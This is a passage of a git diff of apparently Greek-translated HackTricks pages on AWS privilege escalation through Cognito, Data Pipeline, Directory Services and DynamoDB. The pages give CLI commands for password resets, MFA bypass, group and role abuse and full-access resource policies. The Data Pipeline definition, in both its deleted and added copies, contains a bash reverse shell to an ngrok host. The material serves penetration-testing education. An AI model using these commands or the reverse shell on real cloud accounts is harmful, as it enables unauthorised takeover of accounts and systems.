ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false + +# Now you need to login to the User Pool you have configured +## after having the id token of the login continue with the following commands: + +# In this step you should have already an ID Token +aws cognito-identity get-id \ +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= + +# Get the identity_id from thr previous commnad response +aws cognito-identity get-credentials-for-identity \ +--identity-id \ +--logins cognito-idp..amazonaws.com/= +``` +Είναι επίσης δυνατό να **καταχραστείτε αυτήν την άδεια για να επιτρέψετε basic auth**: +```bash +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow +``` +**Πιθανός Αντίκτυπος**: Συμβιβασμός του διαμορφωμένου επαληθευμένου ρόλου IAM μέσα στο identity pool. + +### `cognito-idp:AdminAddUserToGroup` + +Αυτό το δικαίωμα επιτρέπει την **προσθήκη ενός Cognito χρήστη σε μια Cognito ομάδα**, επομένως ένας επιτιθέμενος θα μπορούσε να κακοχρησιμοποιήσει αυτό το δικαίωμα για να προσθέσει έναν χρήστη υπό τον έλεγχό του σε άλλες ομάδες με **καλύτερα** προνόμια ή **διαφορετικούς ρόλους IAM**: +```bash +aws cognito-idp admin-add-user-to-group \ +--user-pool-id \ +--username \ +--group-name +``` +**Πιθανός Αντίκτυπος:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. + +### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` + +Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να **δημιουργήσει/ενημερώσει ομάδες** με **κάθε IAM role που μπορεί να χρησιμοποιηθεί από έναν παραβιασμένο Cognito Identity Provider** και να κάνει έναν παραβιασμένο χρήστη μέρος της ομάδας, αποκτώντας πρόσβαση σε όλους αυτούς τους ρόλους: +```bash +aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn +``` +**Πιθανός Αντίκτυπος:** Privesc σε άλλους ρόλους Cognito IAM. + +### `cognito-idp:AdminConfirmSignUp` + +Αυτή η άδεια επιτρέπει την **επιβεβαίωση εγγραφής**. Εξ ορισμού ο οποιοσδήποτε μπορεί να συνδεθεί σε εφαρμογές Cognito — αν αυτό παραμείνει, ένας χρήστης θα μπορούσε να δημιουργήσει λογαριασμό με οποιαδήποτε δεδομένα και να τον επιβεβαιώσει με αυτή την άδεια. +```bash +aws cognito-idp admin-confirm-sign-up \ +--user-pool-id \ +--username +``` +**Πιθανός αντίκτυπος:** Έμμεσο privesc στο identity pool IAM role για authenticated users αν μπορείτε να εγγράψετε νέο χρήστη. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής μέσω της δυνατότητας επιβεβαίωσης οποιουδήποτε λογαριασμού. + +### `cognito-idp:AdminCreateUser` + +Αυτή η άδεια θα επέτρεπε σε έναν επιτιθέμενο να δημιουργήσει νέο χρήστη μέσα στο user pool. Ο νέος χρήστης δημιουργείται ως enabled, αλλά θα χρειαστεί να αλλάξει τον κωδικό του. +```bash +aws cognito-idp admin-create-user \ +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] +``` +**Πιθανός Αντίκτυπος:** Άμεσο privesc στο identity pool IAM role για επαληθευμένους χρήστες. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής, δίνοντας τη δυνατότητα να δημιουργηθεί οποιοσδήποτε χρήστης + +### `cognito-idp:AdminEnableUser` + +Αυτό το δικαίωμα μπορεί να βοηθήσει σε ένα πολύ σπάνιο σενάριο όπου ένας επιτιθέμενος βρήκε τα διαπιστευτήρια ενός απενεργοποιημένου χρήστη και χρειάζεται να το **επαναενεργοποιήσει**. +```bash +aws cognito-idp admin-enable-user \ +--user-pool-id \ +--username +``` +**Πιθανή Επίπτωση:** Έμμεση privesc στο identity pool IAM role για authenticated users και στα δικαιώματα του χρήστη εάν ο επιτιθέμενος είχε διαπιστευτήρια ενός απενεργοποιημένου χρήστη. + +### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** + +Αυτό το permission επιτρέπει σύνδεση με τη [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Για περισσότερες πληροφορίες ακολουθήστε τον σύνδεσμο. + +### `cognito-idp:AdminSetUserPassword` + +Αυτό το permission θα επέτρεπε σε έναν επιτιθέμενο να **αλλάξει τον κωδικό πρόσβασης οποιουδήποτε χρήστη**, καθιστώντας τον ικανό να υποδυθεί οποιονδήποτε χρήστη (που δεν έχει ενεργοποιημένο MFA). +```bash +aws cognito-idp admin-set-user-password \ +--user-pool-id \ +--username \ +--password \ +--permanent +``` +**Πιθανός αντίκτυπος:** Άμεσο privesc σε ενδεχομένως οποιονδήποτε χρήστη — επομένως πρόσβαση σε όλες τις ομάδες στις οποίες ανήκει κάθε χρήστης και πρόσβαση στον Identity Pool authenticated IAM role. + +### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` + +**AdminSetUserSettings**: Ένας επιτιθέμενος θα μπορούσε ενδεχομένως να καταχραστεί αυτό το δικαίωμα για να ορίσει ένα κινητό τηλέφωνο που ελέγχει ως **SMS MFA ενός χρήστη**. +```bash +aws cognito-idp admin-set-user-settings \ +--user-pool-id \ +--username \ +--mfa-options +``` +**SetUserMFAPreference:** Παρόμοιο με το προηγούμενο, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ορίσει τις προτιμήσεις MFA ενός χρήστη ώστε να bypass την προστασία του MFA. +```bash +aws cognito-idp admin-set-user-mfa-preference \ +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id +``` +**SetUserPoolMfaConfig**: Παρόμοια με την προηγούμενη, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ορίσει τις MFA προτιμήσεις ενός user pool ώστε να bypass την προστασία MFA. +```bash +aws cognito-idp set-user-pool-mfa-config \ +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] +``` +**UpdateUserPool:** Είναι επίσης δυνατό να ενημερώσετε το user pool για να αλλάξετε την πολιτική MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). + +**Πιθανές Επιπτώσεις:** Έμμεση privesc σε οποιονδήποτε χρήστη του οποίου τα διαπιστευτήρια γνωρίζει ο επιτιθέμενος — αυτό θα μπορούσε να επιτρέψει την παράκαμψη της προστασίας MFA. + +### `cognito-idp:AdminUpdateUserAttributes` + +Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να αλλάξει το email ή τον αριθμό τηλεφώνου ή οποιοδήποτε άλλο χαρακτηριστικό ενός χρήστη υπό τον έλεγχό του για να προσπαθήσει να αποκτήσει περισσότερα προνόμια σε μια υποκείμενη εφαρμογή.\ +Αυτό επιτρέπει την αλλαγή ενός email ή αριθμού τηλεφώνου και τον ορισμό τους ως επιβεβαιωμένων. +```bash +aws cognito-idp admin-update-user-attributes \ +--user-pool-id \ +--username \ +--user-attributes +``` +**Πιθανός αντίκτυπος:** Πιθανή έμμεση privesc στην υποκείμενη εφαρμογή που χρησιμοποιεί Cognito User Pool και παραχωρεί προνόμια βάσει χαρακτηριστικών χρήστη. + +### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` + +Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορούσε να **δημιουργήσει νέο User Pool Client με λιγότερους περιορισμούς** σε σχέση με τους ήδη υπάρχοντες pool clients. Για παράδειγμα, ο νέος client θα μπορούσε να επιτρέπει οποιοδήποτε τρόπο αυθεντικοποίησης, να μην έχει κανένα secret, να έχει token revocation disabled, να επιτρέπει τα tokens να είναι έγκυρα για μεγαλύτερο χρονικό διάστημα... + +Το ίδιο μπορεί να γίνει αν αντί να δημιουργηθεί νέος client, **τροποποιηθεί ένας υπάρχων**. + +Στη [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ή στην [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) μπορείτε να δείτε όλες τις επιλογές — ελέγξτε το! +```bash +aws cognito-idp create-user-pool-client \ +--user-pool-id \ +--client-name \ +[...] +``` +**Πιθανός Αντίκτυπος:** Πιθανός έμμεσος privesc στον εξουσιοδοτημένο χρήστη του Identity Pool που χρησιμοποιείται από το User Pool, μέσω της δημιουργίας ενός νέου client που χαλαρώνει τα μέτρα ασφαλείας και επιτρέπει σε έναν επιτιθέμενο να συνδεθεί με έναν χρήστη που κατάφερε να δημιουργήσει. + +### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` + +Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτή την άδεια για να δημιουργήσει χρήστες ανεβάζοντας ένα csv με νέους χρήστες. +```bash +# Create a new import job +aws cognito-idp create-user-import-job \ +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn + +# Use a new import job +aws cognito-idp start-user-import-job \ +--user-pool-id \ +--job-id + +# Both options before will give you a URL where you can send the CVS file with the users to create +curl -v -T "PATH_TO_CSV_FILE" \ +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +``` +(Σε περίπτωση που δημιουργήσετε ένα νέο import job μπορεί επίσης να χρειαστείτε την iam passrole permission, δεν το έχω δοκιμάσει ακόμα). + +**Πιθανός αντίκτυπος:** Άμεσο privesc στο identity pool IAM role για επαληθευμένους χρήστες. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής που μπορούν να δημιουργήσουν οποιονδήποτε χρήστη. + +### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` + +Ένας attacker θα μπορούσε να δημιουργήσει έναν νέο identity provider ώστε στη συνέχεια να μπορεί να **login through this provider**. +```bash +aws cognito-idp create-identity-provider \ +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] +``` +**Potential Impact:** Άμεσο privesc στο identity pool IAM role για authenticated users. Έμμεσο privesc σε άλλες λειτουργίες της εφαρμογής που μπορούν να δημιουργήσουν οποιονδήποτε χρήστη. + +### cognito-sync:* Ανάλυση + +Αυτή είναι μια πολύ κοινή permission από προεπιλογή σε roles των Cognito Identity Pools. Ακόμα κι αν ένα wildcard σε permissions πάντα φαίνεται κακό (ειδικά όταν προέρχεται από AWS), οι παρεχόμενες permissions δεν είναι ιδιαίτερα χρήσιμες από την πλευρά ενός attacker. + +Αυτή η άδεια επιτρέπει την ανάγνωση πληροφοριών χρήστη των Identity Pools και Identity IDs εντός των Identity Pools (που δεν είναι ευαίσθητες πληροφορίες).\ +Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **αποθηκευμένο παιχνίδι**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) how to access this information. + +Ένας attacker θα μπορούσε επίσης να χρησιμοποιήσει αυτές τις άδειες για να **εγγραφεί σε ένα Cognito stream που publish changes** σε αυτά τα datasets ή σε ένα **lambda που triggers on cognito events**. Δεν το έχω δει να χρησιμοποιείται, και δεν θα περίμενα ευαίσθητες πληροφορίες εδώ, αλλά δεν είναι αδύνατο. + +### Automatic Tools + +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito__enum" and "cognito__attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. + +For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. + +#### Usage + +Παράδειγμα χρήσης cognito__attack για προσπάθεια δημιουργίας χρήστη και όλων των privesc vectors ενάντια σε ένα δοσμένο identity pool και user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Παράδειγμα χρήσης cognito\_\_enum για τη συλλογή όλων των user pools, user pool clients, identity pools, users κ.λπ. που είναι ορατά στον τρέχοντα AWS λογαριασμό: +```bash +Pacu (new:test) > run cognito__enum +``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) είναι ένα CLI εργαλείο σε python που υλοποιεί διάφορες επιθέσεις στο Cognito, συμπεριλαμβανομένης μιας privesc escalation. + +#### Installation +```bash +$ pip install cognito-scanner +``` +#### Χρήση +```bash +$ cognito-scanner --help +``` +Για περισσότερες πληροφορίες, δείτε [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md deleted file mode 100644 index e16e51533..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - Datapipeline Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## datapipeline - -Για περισσότερες πληροφορίες σχετικά με το datapipeline, ελέγξτε: - -{{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md -{{#endref}} - -### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` - -Οι χρήστες με αυτές τις **άδειες μπορούν να κλιμακώσουν τα δικαιώματα τους δημιουργώντας ένα Data Pipeline** για να εκτελούν αυθαίρετες εντολές χρησιμοποιώντας τις **άδειες του ανατεθέντος ρόλου:** -```bash -aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string -``` -Μετά τη δημιουργία του pipeline, ο επιτιθέμενος ενημερώνει τον ορισμό του για να καθορίσει συγκεκριμένες ενέργειες ή δημιουργίες πόρων: -```json -{ -"objects": [ -{ -"id": "CreateDirectory", -"type": "ShellCommandActivity", -"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", -"runsOn": { "ref": "instance" } -}, -{ -"id": "Default", -"scheduleType": "ondemand", -"failureAndRerunMode": "CASCADE", -"name": "Default", -"role": "assumable_datapipeline", -"resourceRole": "assumable_datapipeline" -}, -{ -"id": "instance", -"name": "instance", -"type": "Ec2Resource", -"actionOnTaskFailure": "terminate", -"actionOnResourceFailure": "retryAll", -"maximumRetries": "1", -"instanceType": "t2.micro", -"securityGroups": ["default"], -"role": "assumable_datapipeline", -"resourceRole": "assumable_ec2_profile_instance" -} -] -} -``` -> [!NOTE] -> Σημειώστε ότι ο **ρόλος** στη **γραμμή 14, 15 και 27** πρέπει να είναι ένας ρόλος **που μπορεί να αναληφθεί από το datapipeline.amazonaws.com** και ο ρόλος στη **γραμμή 28** πρέπει να είναι ένας **ρόλος που μπορεί να αναληφθεί από το ec2.amazonaws.com με ένα προφίλ EC2 instance**. -> -> Επιπλέον, το EC2 instance θα έχει πρόσβαση μόνο στον ρόλο που μπορεί να αναληφθεί από το EC2 instance (έτσι μπορείτε να κλέψετε μόνο αυτόν). -```bash -aws datapipeline put-pipeline-definition --pipeline-id \ ---pipeline-definition file:///pipeline/definition.json -``` -Το **αρχείο ορισμού pipeline, που έχει κατασκευαστεί από τον επιτιθέμενο, περιλαμβάνει οδηγίες για την εκτέλεση εντολών** ή τη δημιουργία πόρων μέσω του AWS API, εκμεταλλευόμενο τα δικαιώματα ρόλου του Data Pipeline για να αποκτήσει πιθανώς επιπλέον προνόμια. - -**Πιθανές Επιπτώσεις:** Άμεση privesc στον ρόλο υπηρεσίας ec2 που έχει καθοριστεί. - -## Αναφορές - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md new file mode 100644 index 000000000..930b9daa4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md @@ -0,0 +1,68 @@ +# AWS - Datapipeline Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## datapipeline + +Για περισσότερες πληροφορίες σχετικά με το datapipeline δείτε: + +{{#ref}} +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +{{#endref}} + +### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` + +Οι χρήστες με αυτά τα **δικαιώματα μπορούν να κλιμακώσουν τα προνόμια δημιουργώντας ένα Data Pipeline** για να εκτελέσουν αυθαίρετες εντολές χρησιμοποιώντας τα **δικαιώματα του ανατεθέντος ρόλου:** +```bash +aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string +``` +Μετά τη δημιουργία του pipeline, ο επιτιθέμενος ενημερώνει τον ορισμό του για να υπαγορεύσει συγκεκριμένες ενέργειες ή δημιουργίες πόρων: +```json +{ +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] +} +``` +> [!NOTE] +> Σημειώστε ότι ο **role** στις **γραμμές 14, 15 και 27** πρέπει να είναι ένας role **assumable by datapipeline.amazonaws.com** και ο role στη **γραμμή 28** πρέπει να είναι ένας **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> +> Επιπλέον, το EC2 instance θα έχει πρόσβαση μόνο στον role που είναι assumable by το EC2 instance (οπότε μπορείτε να κλέψετε μόνο αυτόν). +```bash +aws datapipeline put-pipeline-definition --pipeline-id \ +--pipeline-definition file:///pipeline/definition.json +``` +Το **αρχείο ορισμού pipeline, που δημιουργήθηκε από τον επιτιθέμενο, περιλαμβάνει οδηγίες για την εκτέλεση εντολών** ή τη δημιουργία πόρων μέσω του AWS API, αξιοποιώντας τα δικαιώματα ρόλου του Data Pipeline για να αποκτήσει ενδεχομένως επιπλέον προνόμια. + +**Πιθανός Αντίκτυπος:** Άμεση privesc στον ec2 service role που καθορίζεται. + +## Αναφορές + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md deleted file mode 100644 index da98af3c9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Directory Services Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Directory Services - -Για περισσότερες πληροφορίες σχετικά με τις υπηρεσίες καταλόγου, ελέγξτε: - -{{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md -{{#endref}} - -### `ds:ResetUserPassword` - -Αυτή η άδεια επιτρέπει να **αλλάξετε** τον **κωδικό πρόσβασης** οποιουδήποτε **υπάρχοντος** χρήστη στο Active Directory.\ -Από προεπιλογή, ο μόνος υπάρχων χρήστης είναι ο **Admin**. -``` -aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. -``` -### AWS Management Console - -Είναι δυνατόν να ενεργοποιηθεί μια **διεύθυνση URL πρόσβασης εφαρμογής** που οι χρήστες από το AD μπορούν να χρησιμοποιήσουν για να συνδεθούν: - -
- -Και στη συνέχεια **να τους παραχωρηθεί ένας ρόλος AWS IAM** για όταν συνδέονται, με αυτόν τον τρόπο ένας χρήστης/ομάδα AD θα έχει πρόσβαση στη διαχείριση του AWS: - -
- -Φαίνεται ότι δεν υπάρχει τρόπος να ενεργοποιηθεί η διεύθυνση URL πρόσβασης εφαρμογής, η διαχείριση του AWS και να παραχωρηθούν δικαιώματα - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..7229bb4d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Υπηρεσίες Καταλόγου Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Υπηρεσίες Καταλόγου + +Για περισσότερες πληροφορίες σχετικά με τις υπηρεσίες καταλόγου δείτε: + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +Αυτό το δικαίωμα επιτρέπει να **αλλάξετε** τον **κωδικό πρόσβασης** οποιουδήποτε **υπάρχοντος** χρήστη στο Active Directory.\ +Κατά προεπιλογή, ο μόνος υπάρχων χρήστης είναι **Admin**. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +Είναι δυνατό να ενεργοποιηθεί ένα **application access URL** το οποίο χρήστες από το AD μπορούν να χρησιμοποιήσουν για να συνδεθούν: + +
+ +Και στη συνέχεια να τους **χορηγήσετε ένα AWS IAM role** ώστε όταν συνδεθούν, ένας χρήστης/ομάδα AD θα έχει πρόσβαση στο AWS Management Console: + +
+ +Φαίνεται πως δεν υπάρχει τρόπος να ενεργοποιηθεί το application access URL, να χρησιμοποιηθεί το AWS Management Console και να χορηγηθούν δικαιώματα + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index cff42367f..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -Για περισσότερες πληροφορίες σχετικά με το dynamodb, ελέγξτε: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, και προαιρετικά `dynamodb:GetResourcePolicy` - -Από τον Μάρτιο του 2024, η AWS προσφέρει *πολιτικές βασισμένες σε πόρους* για το DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -Έτσι, αν έχετε το `dynamodb:PutResourcePolicy` για έναν πίνακα, μπορείτε απλά να παραχωρήσετε στον εαυτό σας ή σε οποιονδήποτε άλλο κύριο πλήρη πρόσβαση στον πίνακα. - -Η παραχώρηση του `dynamodb:PutResourcePolicy` σε έναν τυχαίο κύριο συμβαίνει συχνά κατά λάθος, αν οι διαχειριστές νομίζουν ότι η παραχώρηση του `dynamodb:Put*` θα επιτρέψει μόνο στον κύριο να προσθέσει στοιχεία στη βάση δεδομένων - ή αν παραχώρησαν αυτό το σύνολο δικαιωμάτων πριν από τον Μάρτιο του 2024... - -Ιδανικά, έχετε επίσης το `dynamodb:GetResourcePolicy`, ώστε να μην αντικαταστήσετε άλλες δυνητικά ζωτικές άδειες, αλλά μόνο να εισάγετε τις πρόσθετες άδειες που χρειάζεστε: -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -Αν δεν μπορείτε να ανακτήσετε την τρέχουσα πολιτική, απλώς χρησιμοποιήστε αυτήν που παρέχει πλήρη πρόσβαση στον πίνακα στον κύριο σας: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -Αν χρειάζεστε να το προσαρμόσετε, εδώ είναι μια λίστα με όλες τις δυνατές ενέργειες DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Και εδώ είναι μια λίστα με όλες τις ενέργειες που μπορούν να επιτραπούν μέσω μιας πολιτικής βασισμένης σε πόρους *ΚΑΙ ποιες από αυτές μπορούν να χρησιμοποιηθούν διασυνοριακά (σκεφτείτε την εξαγωγή δεδομένων!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) - -Τώρα, με το έγγραφο πολιτικής `policy.json` έτοιμο, βάλτε την πολιτική πόρου: -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -Τώρα, θα πρέπει να έχετε τις άδειες που χρειάζεστε. - -### Post Exploitation - -Όσο γνωρίζω, **δεν υπάρχει άλλος άμεσος τρόπος για να κλιμακώσετε τις άδειες στο AWS απλά με το να έχετε κάποιες άδειες `dynamodb`**. Μπορείτε να **διαβάσετε ευαίσθητες** πληροφορίες από τους πίνακες (οι οποίες θα μπορούσαν να περιέχουν διαπιστευτήρια AWS) και **να γράψετε πληροφορίες στους πίνακες** (οι οποίες θα μπορούσαν να προκαλέσουν άλλες ευπάθειες, όπως οι επιθέσεις κώδικα lambda...) αλλά όλες αυτές οι επιλογές έχουν ήδη ληφθεί υπόψη στη **σελίδα Post Exploitation του DynamoDB**: - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### TODO: Διαβάστε δεδομένα εκμεταλλευόμενοι τα data Streams - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..dc652016e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + +Για περισσότερες πληροφορίες σχετικά με dynamodb δείτε: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, και προαιρετικά `dynamodb:GetResourcePolicy` + +Από τον Μάρτιο του 2024, η AWS προσφέρει *πολιτικές βάσει πόρων* για DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Άρα, αν έχετε το `dynamodb:PutResourcePolicy` για έναν πίνακα, μπορείτε απλά να δώσετε στον εαυτό σας ή σε οποιονδήποτε άλλο principal πλήρη πρόσβαση στον πίνακα. + +Η παροχή του `dynamodb:PutResourcePolicy` σε έναν τυχαίο principal συχνά συμβαίνει κατά λάθος, αν οι διαχειριστές νομίζουν ότι η παροχή του `dynamodb:Put*` θα επιτρέψει μόνο στο principal να προσθέτει items στη βάση δεδομένων — ή αν παραχώρησαν αυτό το permissionset πριν τον Μάρτιο του 2024... + +Ιδανικά, έχετε επίσης το `dynamodb:GetResourcePolicy`, ώστε να μην αντικαταστήσετε άλλες ενδεχομένως κρίσιμες άδειες, αλλά να εισάγετε μόνο τις πρόσθετες άδειες που χρειάζεστε: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Εάν δεν μπορείτε να ανακτήσετε την τρέχουσα πολιτική, χρησιμοποιήστε απλώς αυτή που δίνει πλήρη πρόσβαση στον πίνακα για τον principal σας: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Αν χρειάζεται να το προσαρμόσετε, εδώ είναι μια λίστα με όλες τις δυνατές ενέργειες του DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Και εδώ είναι μια λίστα με όλες τις ενέργειες που μπορούν να επιτραπούν μέσω resource based policy *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Τώρα, με το policy document `policy.json` έτοιμο, τοποθετήστε το resource 